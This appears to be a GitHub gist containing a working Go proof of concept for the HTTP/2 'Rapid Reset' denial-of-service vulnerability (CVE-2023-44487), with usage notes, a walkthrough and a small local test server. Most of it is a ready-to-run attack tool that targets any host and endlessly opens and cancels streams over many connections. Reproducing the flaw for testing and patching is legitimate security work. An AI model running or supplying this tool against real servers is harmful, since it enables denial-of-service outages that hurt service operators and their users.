Skip to content

Instantly share code, notes, and snippets.

@picatz
Created May 8, 2025 19:07
Show Gist options
  • Select an option

  • Save picatz/058453540764fb5ca212d1a71d68fe85 to your computer and use it in GitHub Desktop.

Select an option

Save picatz/058453540764fb5ca212d1a71d68fe85 to your computer and use it in GitHub Desktop.
Rapid Reset

This code is a PoC for CVE-2023-44487/CVE-2023-39325 using Cloudflare's blog post as a guide.

Usage

$ go run main.go --help
Usage of main:
  -conns int
        number of TCP connections to make to server (default 1)
  -duration string
        how long to send requests for, no value will run forever
  -method string
        HTTP method to use in requests (default "GET")
  -path string
        HTTP path to use in requests (default "/")
  -target string
        ip:port or dns name to target (default "127.0.0.1:7777")
$ go run main.go -conns=10 -target=127.0.0.1:7777
...

How It Works

First, we establish a TLS connection with the target using ALPN to force HTTP/2:

rapidreset/main.go#L91-L94

rapidreset/main.go#L102

Next, we write the HTTP/2 client preface:

rapidreset/main.go#L108

We then buffer the write side, and create an HTTP/2 framer that will be used to send requests/resets down:

rapidreset/main.go#L113-L115

To make it a bit easier to work with, we enable illegal reads/writes:

rapidreset/main.go#L117-L118

After performing some HTTP/2 ceremony to ensure our connection is working:

rapidreset/main.go#L120-L123

rapidreset/main.go#L128

rapidreset/main.go#L133

We then flush those writes:

rapidreset/main.go#L138

And then start the main attack, opening/resetting streams:

rapidreset/main.go#L184-L209

Diagram

sequenceDiagram
    participant Client
    participant Server
    par number of TCP conns
        Note over Client,Server: Assumes TCP + TLS established.
        Client ->> Server: HTTP/2 Client Preface + Settings
        Server -->> Client: 
        Client ->> Server: HTTP/2 Ping
        Server -->> Client: 
        loop using same TCP conn
            Note over Client: Increment Stream ID
            Note over Client: Buffer Writes
            Client->>Server: "(Header Frame + Reset Frame) · N"
            Server -->> Client: 
        end
    end
Loading
package main
import (
"bufio"
"bytes"
"context"
"crypto/tls"
"flag"
"fmt"
"log"
"math"
"net/http"
"os"
"golang.org/x/net/http2"
"golang.org/x/net/http2/hpack"
"golang.org/x/sync/errgroup"
)
func main() {
var (
target string
path string
method string
conns int
dur string
)
flag.StringVar(&target, "target", "127.0.0.1:7777", "ip:port or dns name to target")
flag.StringVar(&path, "path", "/", "HTTP path to use in requests")
flag.StringVar(&method, "method", http.MethodGet, "HTTP method to use in requests")
flag.IntVar(&conns, "conns", 1, "number of TCP connections to make to server")
flag.StringVar(&dur, "duration", "", "how long to send requests for, no value will run forever")
flag.Parse()
log.SetOutput(os.Stdout)
b := bytes.NewBuffer(nil)
enc := hpack.NewEncoder(b)
err := enc.WriteField(hpack.HeaderField{
Name: ":authority",
Value: target,
Sensitive: false,
})
if err != nil {
panic(err)
}
err = enc.WriteField(hpack.HeaderField{
Name: ":method",
Value: method,
Sensitive: false,
})
if err != nil {
panic(err)
}
err = enc.WriteField(hpack.HeaderField{
Name: ":path",
Value: path,
Sensitive: false,
})
if err != nil {
panic(err)
}
err = enc.WriteField(hpack.HeaderField{
Name: ":scheme",
Value: "https",
Sensitive: false,
})
if err != nil {
panic(err)
}
// for i := 0; i <= 20; i++ {
// err = enc.WriteField(hpack.HeaderField{
// Name: fmt.Sprintf("header-%d", i),
// Value: strings.Repeat("a", 100),
// Sensitive: false,
// })
// if err != nil {
// panic(err)
// }
// }
headerBytes := b.Bytes()
tlsConfig := &tls.Config{
InsecureSkipVerify: true,
NextProtos: []string{"h2"},
}
g, _ := errgroup.WithContext(context.Background())
for i := 0; i < conns; i++ {
connID := i
g.Go(func() error {
log.Printf("opening conn %d\n", connID)
tlsConn, err := tls.Dial("tcp", target, tlsConfig)
if err != nil {
return fmt.Errorf("failed to dial target: %w", err)
}
defer tlsConn.Close()
_, err = tlsConn.Write([]byte(http2.ClientPreface))
if err != nil {
return fmt.Errorf("failed to write client prefact: %w", err)
}
tlsConnWriteBuffer := bufio.NewWriterSize(tlsConn, 4096*4)
framer := http2.NewFramer(tlsConnWriteBuffer, tlsConn)
framer.AllowIllegalWrites = true
framer.AllowIllegalReads = true
err = framer.WriteSettings(http2.Setting{
ID: http2.SettingInitialWindowSize,
Val: (1 << 30) - 1,
})
if err != nil {
return err
}
err = framer.WriteWindowUpdate(0, (1<<30)-(1<<16)-1)
if err != nil {
return err
}
err = framer.WritePing(false, [8]byte{1, 2, 3, 4, 5, 6, 7, 8})
if err != nil {
return err
}
err = tlsConnWriteBuffer.Flush()
if err != nil {
return err
}
frame, err := framer.ReadFrame()
if err != nil {
return err
}
log.Printf("read frame: %#+v\n", frame)
err = framer.WriteSettingsAck()
if err != nil {
return err
}
frame, err = framer.ReadFrame()
if err != nil {
return err
}
log.Printf("read frame: %#+v\n", frame)
frame, err = framer.ReadFrame()
if err != nil {
return err
}
log.Printf("read frame: %#+v\n", frame)
frame, err = framer.ReadFrame()
if err != nil {
return err
}
log.Printf("read frame: %#+v\n", frame)
// go func() {
// for {
// frame, err := framer.ReadFrame()
// if err != nil {
// panic(err)
// }
// log.Printf("%T: %#+[1]v\n", frame)
// }
// }()
log.Println("opening streams")
var streamID uint32 = 1
for {
// log.Printf("conn %d opening stream %d\n", connID, streamID)
err = framer.WriteHeaders(http2.HeadersFrameParam{
StreamID: streamID,
BlockFragment: headerBytes,
EndStream: false,
EndHeaders: true,
})
if err != nil {
return err
}
err = framer.WriteRSTStream(streamID, http2.ErrCodeCancel)
if err != nil {
return err
}
streamID += 2
if streamID >= math.MaxUint32-2 {
streamID = 1
}
}
})
}
err = g.Wait()
if err != nil {
panic(err)
}
}
package main
import (
"crypto/tls"
"fmt"
"log"
"net"
"net/http"
)
func main() {
// $ openssl genrsa -out server.key 2048
// $ openssl req -new -x509 -sha256 -key server.key -out server.pem -days 3650
cer, err := tls.LoadX509KeyPair("server.pem", "server.key")
if err != nil {
panic(err)
}
config := &tls.Config{
Certificates: []tls.Certificate{cer},
NextProtos: []string{"h2"},
}
handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, %v, http: %v\n", r.URL.Path, r.TLS == nil)
})
srv := &http.Server{
Addr: "0.0.0.0:7777",
Handler: handler,
ConnState: func(c net.Conn, cs http.ConnState) {
log.Printf("%v conn change stage %v", c.RemoteAddr(), cs)
},
TLSConfig: config,
}
log.Println("starting listener")
err = srv.ListenAndServeTLS("server.pem", "server.key")
if err != nil {
panic(err)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment